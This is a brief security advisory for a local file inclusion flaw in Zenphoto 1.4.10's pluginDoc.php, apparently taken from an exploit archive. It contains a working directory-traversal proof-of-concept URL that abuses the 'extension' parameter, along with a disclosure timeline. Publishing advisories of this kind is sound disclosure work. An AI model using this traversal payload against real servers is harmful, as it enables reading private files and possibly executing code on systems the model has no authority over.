Zenphoto 1.4.10 - Local File Inclusion Vulnerability

Zenphoto 1.4.10 - Local File Inclusion Vulnerability

Vendor:
====================
www.zenphoto.org
 
Product:
===================
Zenphoto 1.4.10
 
Vulnerability Details:
======================
Zen Photos pluginDoc.php PHP file is vulnerable to local file inclusion
that allows attackers
to read arbitrary server files outside of the current web directory by
injecting "../" directory traversal
characters, which can lead to sensitive information disclosure, code
execution or DOS on the victims web server.
 
 
Local File Inclusion Codes:
==========================
http://localhost/zenphoto-zenphoto-1.4.10/zp-core/pluginDoc.php?thirdparty=1&extension=../../../xampp/phpinfo
 
 
Disclosure Timeline:
=====================
Vendor Notification: November 10, 2015
December 1, 2015  : Public Disclosure
 
Description:
=====================================================
Request Method(s):              [+] GET
Vulnerable Product:             [+] Zenphoto 1.4.10
Vulnerable Parameter(s):        [+] extension

#  0day.today [2018-01-04]  #